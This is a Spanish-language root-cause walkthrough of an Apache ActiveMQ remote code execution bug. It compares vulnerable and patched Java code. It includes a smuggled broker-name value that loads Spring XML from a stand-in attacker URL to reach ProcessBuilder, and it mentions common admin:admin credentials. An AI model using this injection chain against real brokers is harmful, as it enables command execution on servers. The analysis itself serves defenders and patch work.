
# Recorrido educativo y prueba de concepto para CVE-2026-41044, un RCE de Apache ActiveMQ, con análisis de causa raíz y script de detección.
Nota: Solo con fines educativos
CVE-2026-41044 fue divulgado el 24 de abril de 2026. Es un bug de ejecución remota de código en Apache ActiveMQ Classic, encontrado por jsjcw, parcheado en 5.19.6 y 6.2.5. No lo encontré yo.
Lo que quiero mostrar es cómo alguien que nunca ha tocado ActiveMQ antes puede producir un exploit funcional de un N-day en una tarde, porque el código parcheado es público, el código sin parchear es público, y la brecha entre ambos está a un git diff de distancia.
El proceso es simple:
Lo que solía tomar días ahora toma una tarde. La IA no encuentra bugs. Lee código y lo explica tan rápido como puedas hacer preguntas. La parte costosa sigue siendo tú: decidir qué es realmente explotable, dónde están los verdaderos límites de confianza, qué necesita verificación. El modelo simplemente recorre grafos de llamadas más rápido de lo que cualquier humano puede.
El punto más amplio: si tu flujo de trabajo de parcheo asume una semana de tiempo de análisis por CVE, estás en la línea de tiempo antigua. git diff tiene la misma longitud ya sea que estés escribiendo detección o exploits.
ActiveMQ es un broker de mensajes. Se sitúa en el medio y pasa mensajes entre aplicaciones. Piénsalo como una oficina de correos: las aplicaciones dejan mensajes, ActiveMQ los entrega al destinatario correcto. Está ampliamente desplegado en stacks Java empresariales y expone una consola web y una API de gestión REST llamada Jolokia en /api/jolokia/. Las credenciales predeterminadas en muchos despliegues siguen siendo admin:admin.
ActiveMQ permitía a cualquier usuario autenticado cargar una configuración de broker desde una URL HTTP arbitraria, que Spring analizaba y ejecutaba inmediatamente como objetos Java - incluyendo ProcessBuilder - otorgando al atacante ejecución completa de comandos del sistema operativo en el servidor del broker.
localhost./api/jolokia/ que expone operaciones de gestión como una API REST. Cualquier credencial válida de la consola web llega a él - no solo admin.vm://: el transporte en proceso utilizado cuando un cliente vive en el mismo JVM que el broker. Acepta un parámetro de consulta ?brokerConfig= que apunta a una configuración XML de Spring para arrancar un broker desde ella.xbean:: un esquema de URL que le dice a ActiveMQ que trate la URL como una configuración XML de Spring y la cargue.init-method: Spring lee XML y crea automáticamente objetos Java (beans). El atributo init-method le dice a Spring que llame a un método en el bean en el momento en que se crea - antes de que cualquier otra cosa se ejecute.ProcessBuilder: una clase Java estándar que ejecuta comandos del sistema operativo. ProcessBuilder.start() ejecuta el comando.DestinationView.sendTextMessage() en 5.19.2 construye una URL de conexión del broker concatenando directamente el nombre del broker en una cadena:
// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
Si getBrokerName() devuelve localhost?brokerConfig=xbean:http://attacker/poison.xml, toda esa cadena se convierte en una URI vm:// válida con un parámetro de consulta incrustado. ActiveMQConnectionFactory se lo entrega a VMTransportFactory, que extrae el parámetro brokerConfig y lo usa como la URL de configuración de arranque del broker.
El fix en 5.19.6 es una línea:
// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();
String se convierte en URI - la concatenación accidental ya no es posible. El valor proviene de un objeto URI preconstruido e inmutable derivado del conector VM real registrado del broker, no de una cadena de nombre mutable.
Para que la Capa 1 sea explotable, el nombre del broker tiene que ser envenenado primero. BrokerService siempre ha saneado los nombres de broker:
// BrokerService.setBrokerName() - presente en AMBAS versiones
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
Esa expresión regular elimina ? y = limpiamente. El CVE existía porque RegionBroker tenía su propio setter separado que no lo hacía:
// 5.19.2 - RegionBroker.java
private String brokerName; // mutable
public void setBrokerName(String brokerName) {
this.brokerName = brokerName; // sin validación alguna
}
Este es un clásico deputy confundido - dos setters en clases relacionadas, solo uno de ellos saneando. Un peer remoto que transmite un paquete BrokerInfo manipulado con un campo de nombre envenenado llega directamente a RegionBroker.setBrokerName(), evitando por completo la expresión regular de BrokerService.
El fix en 5.19.6 elimina el setter, hace el campo final y lo inicializa una vez desde el padre ya saneado:
// 5.19.6 - RegionBroker.java
private final String brokerName; // inmutable
public RegionBroker(BrokerService brokerService, ...) {
this.brokerName = Objects.requireNonNull(
brokerService.getBrokerName(), "The broker name cannot be null");
// setBrokerName() ha desaparecido. Ya no hay setter.
}
No puedes evadir un saneador que no tiene escritor paralelo.
VMTransportFactory.doCompositeConnect() es la función que toma la URI vm://...?brokerConfig=..., extrae el parámetro brokerConfig y llama a BrokerFactory.createBroker(brokerURI). Es el mecanismo de activación de toda la cadena.
Apache no cambió absolutamente nada aquí.
Esa elección te dice algo sobre cómo pensaron el fix. VMTransportFactory está haciendo trabajo legítimo - se supone que los transportes vm:// aceptan configuraciones de arranque. Parchearlo habría roto el diseño previsto. En su lugar, Apache arregló el bug en la fuente (Capa 2: ningún nombre envenenado puede ser escrito) y en el sumidero (Capa 5: incluso si una URL envenenada pasara, el resolvedor de recursos no la obtendrá).
Arregla las capas donde pertenece la validación, no la capa por donde el atacante pasó.
// XBeanBrokerFactory - igual en ambas versiones
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri); // Capa 5
return new ResourceXmlApplicationContext(resource) { ... };
}